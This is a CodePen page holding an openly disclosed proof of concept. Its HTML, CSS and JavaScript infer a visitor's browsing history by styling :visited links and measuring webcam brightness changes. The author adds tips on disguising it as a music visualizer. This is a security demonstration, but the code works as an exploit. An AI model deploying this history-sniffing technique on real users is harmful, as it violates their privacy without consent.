Pen Settings

HTML

CSS

CSS Base

Vendor Prefixing

Add External Stylesheets/Pens

Any URLs added here will be added as <link>s in order, and before the CSS in the editor. You can use the CSS from another Pen by using its URL and the proper URL extension.

+ add another resource

JavaScript

Babel includes JSX processing.

Add External Scripts/Pens

Any URL's added here will be added as <script>s in order, and run before the JavaScript in the editor. You can use the URL of any other Pen and it will include the JavaScript from that Pen.

+ add another resource

Packages

Add Packages

Search for and use JavaScript packages from npm here. By selecting a package, an import statement will be added to the top of the JavaScript editor for this package.

Behavior

Auto Save

If active, Pens will autosave every 30 seconds after being saved once.

Auto-Updating Preview

If enabled, the preview panel updates automatically as you code. If disabled, use the "Run" button to update.

Format on Save

If enabled, your code will be formatted when you actively save your Pen. Note: your code becomes un-folded during formatting.

Editor Settings

Code Indentation

Want to change your Syntax Highlighting theme, Fonts and more?

Visit your global Editor Settings.

HTML

              
                <div class="intro">
  <p>This is a demonstration of how a website could collect a user's history of previously visited links using the <span>:visited</span> selector and a webcam. While this is <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Privacy_and_the_:visited_selector" target="_blank">not the first privacy attack using this selector</a>, it's one that I haven't seen written about before.</p>
  <p>The way this attack works is by styling an <span>&#60;a&#62;</span> tag to cover a significant portion of the screen and to have an extreme change in brightness in background color when <span>:visited</span> applies (for example, a black background when not visited and a white background when visited). While cycling through an array of links, the site prints the webcam's image to a <span>&#60;canvas&#62;</span> and runs through the image data to see if there's been a significant change in brightness. If there has been, the script logs it as visited and moves on to the next link.</p>
  <p>While this kind of attack is unlikely to work given that the user would first have to allow webcam access, then keep connected for the duration of the test while being in a suitably lit room, it's still a method of privacy violation that is possible and fairly easily disguised. For example, you could create a "music visualizer" that changes brightnesss gradually while slowly testing links, all the while providing imagery that matches audio frequency so no one suspects what is actually happening. Another more subtle method would be to create a long page with anchor tags hidden in the background, then track their position and the distance scrolled to determine which links have been clicked.</p>
  <p>The best defence to this attack is to only allow webcam access to sites you absolutely trust.</p>
  <hr />
  <p>The following links will be checked if you click begin:</p>
  <ul class="tested-domains"></ul>
  <p>I will not be collecting or storing any of this information, but I encourage you to <a href="https://codepen.io/abergin/pen/WdyBRL/" target="_blank">check the source</a> yourself before running the demo. It works best when using <a href="https://codepen.io/abergin/full/WdyBRL/" target="_blank">the full page version</a> with a large/full screen browser window in a dimly lit room with a relatively close wall or similar surface to the webcam. I have only really tested it on a macbook in chrome so this script may fail on other devices/browsers.</p>
  <p><strong>Due to the required functionality of this exploit, the demo will cause rapid brightness changes/flashing on your screen.</strong></p>
  <button class="begin">Click here to begin</button>
</div>
<div class="error">
  <p>You either do not have an accessable webcam or have rejected access to this page.</p>
</div>
<div class="tests">
  <a class="tag"></a>
  <div class="log"></div>
</div>
              
            
!

CSS

              
                html, body
  width: 100%
  height: 100%
  overflow: hidden
  position: absolute
  background: white
  
  
body
  overflow-x: hidden
  overflow-y: auto
  background: rgba(5,10,75,0.075)
  
.intro, .tests, .error
  display: none
  
  &.visible
    display: block
  
.intro
  transform: translate( -50%, 0 )
  background: white
  position: absolute
  box-sizing: border-box
  top: 0
  left: 50%
  padding: 30px
  width: 100%
  max-width: 500px
  min-height: 100%

hr
  border: none
  border-top: 1px solid rgba(5,10,75,0.15)
  margin: 30px 0
  
p
  font-size: 15px
  font-family: sans-serif
  font-weight: 100
  letter-spacing: 0.025em
  line-height: 24px
  color: black
  
  strong
    font-weight: 500
    color: rgba(200,15,0,0.9)
    
  
  & + p
    margin-top: 15px
  
  span
    background: rgba(5,10,75,0.15)
    font-size: 12px
    font-family: monospace
    padding: 2px 3px
    border-radius: 3px
    
a
  color: inherit
  text-decoration: none
  padding-bottom: 1px
  border-bottom: 1px solid rgba(5,10,75,0.15)
    
ul
  margin: 10px 0
  background: rgba(5,10,75,0.15)
  padding: 10px
  margin: 15px -10px
  
  li
    @extend p
    & + li
      margin-top: 0
      
button
  @extend p
  margin: 0
  padding: 15px
  border-radius: 0
  border: none
  background: white
  color: black
  box-sizing: border-box
  width: 100%
  text-align: center
  cursor: pointer
  background: rgba(5,10,75,0.15)
  
  &:focus, &:hover
    outline: none
    background: black
    color: white
  
.tests
  background: black
  width: 100%
  min-height: 100%
  
  .log
    position: relative
    font-family: monospace
    font-weight: 100
    font-size: 11px
    line-height: 17px
    color: rgba(127,127,127,1)
    padding: 15px
    
  .tag
    width: 100%
    height: 100%
    background: black
    position: fixed
    pointer-events: none
    
    &:visited
      background: white
    
.error
  transform: translate(-50%, -50%)
  text-align: center
  position: absolute
  box-sizing: border-box
  padding: 30px
  width: 100%
  max-width: 375px
  left: 50%
  top: 50%
              
            
!

JS

              
                let _video, _introView, _domainListView, _beginButton, _testView, _testTag, _logTag, _errorView, _logs, _total;
const _domains = [ "https://google.com/", "https://twitter.com/", "https://github.com/", "https://bitbucket.org/", "https://sidebar.io/", "https://not-a-real-site-dont-click-this.com/", "https://css-tricks.com/", "https://www.producthunt.com/", "https://codepen.io/", "https://en.wikipedia.org/", "https://www.reddit.com/", "https://www.facebook.com/", "https://instagram.com/", "https://www.linkedin.com/", "https://imgur.com/" ];

function init() {
  getElements();
  addListeners();
  printDomainList();
  render( _introView );
}

function getElements() {
  _introView = document.querySelector(".intro");
  _domainListView = _introView.querySelector(".tested-domains");
  _beginButton = _introView.querySelector("button");
  
  _testView = document.querySelector(".tests");
  _testTag = _testView.querySelector(".tag");
  _logTag = _testView.querySelector(".log");
  
  _errorView = document.querySelector(".error");
}

function addListeners() {
  _beginButton.addEventListener( "click", initTests );
}

function printDomainList() {
  for ( let domain of _domains ) {
    const item = document.createElement("li");
    item.innerHTML = `<a target="blank" href="${domain}">${domain}</a>`;
    _domainListView.appendChild( item );
  }
}

async function requestMedia() {
  try {
    const media = await navigator.mediaDevices.getUserMedia({ video: true });
    const stream = URL.createObjectURL( media );
    _video = document.createElement("video");
    _video.src = stream;
    _video.play();
    testDomains();
  } catch( e ) {
    onFail();
  };
}

function render( view ) {
  const views = [ _introView, _testView, _errorView ];
  for ( const page of views ) 
    if ( page !== view ) 
      page.classList.remove("visible");
  view.classList.add("visible");
}

function initTests() {
  render( _testView );
  requestMedia();
}

async function testDomains() {
  _logs = "";
  _total = 0;
  logAction( null, "initializing" );
  await applyDomain( Math.random().toString() );
  for ( let domain of _domains ) {
    const level = getBrightness();
    logAction( domain, "checking" );
    await applyDomain( domain );
    const test = getBrightness();
    const diff = Math.abs( test - level );
    logAction( domain, diff > 5 ? true : false );
    await applyDomain( "reset" );
  }
  logAction(null, "end");
}

function getBrightness() {
  const canvas = document.createElement("canvas");
  canvas.width = 50;
  canvas.height = 50;
  
  const c = canvas.getContext("2d");
  c.drawImage( _video, 0, 0, 50, 50 );
  const image = c.getImageData( 0, 0, 50, 50 );
  
  let index = 0, average = 0;
  while ( index < image.data.length ) {
    let color = image.data[ index + 0 ];
    color += image.data[ index + 1 ];
    color += image.data[ index + 2 ];
    color /= 3;
    average += color;
    index += 4;
  }
  
  average = average / ( image.data.length / 4 );
  return average;
}

async function applyDomain( domain ) {
  await new Promise(( resolve, reject ) => {
    _testTag.setAttribute( "href", domain );
    // allow the webcam to adjust its exposure
    setTimeout( resolve, 500 );
  });
}

function logAction( domain, state ) {
  if ( state === "initializing" ) 
    _logs += `calibrating brightness levels...<br /><br />`;
  else if ( state === "checking" ) 
    _logs += `testing ${domain}...<br />`;
  else if ( state === "end" ) 
    _logs += `testing complete. ${_total}/${_domains.length} links logged as visited. refresh to try again.`
  else 
    _logs += `link to ${domain} has ${ state === true ? "" : "not" } been clicked.<br /><br />`;
  
  if ( state === true ) _total ++;
  _logTag.innerHTML = _logs;
  document.body.scrollTop = document.body.scrollHeight;
}

function onFail() {
  render( _errorView );
}

init();
              
            
!
999px

Console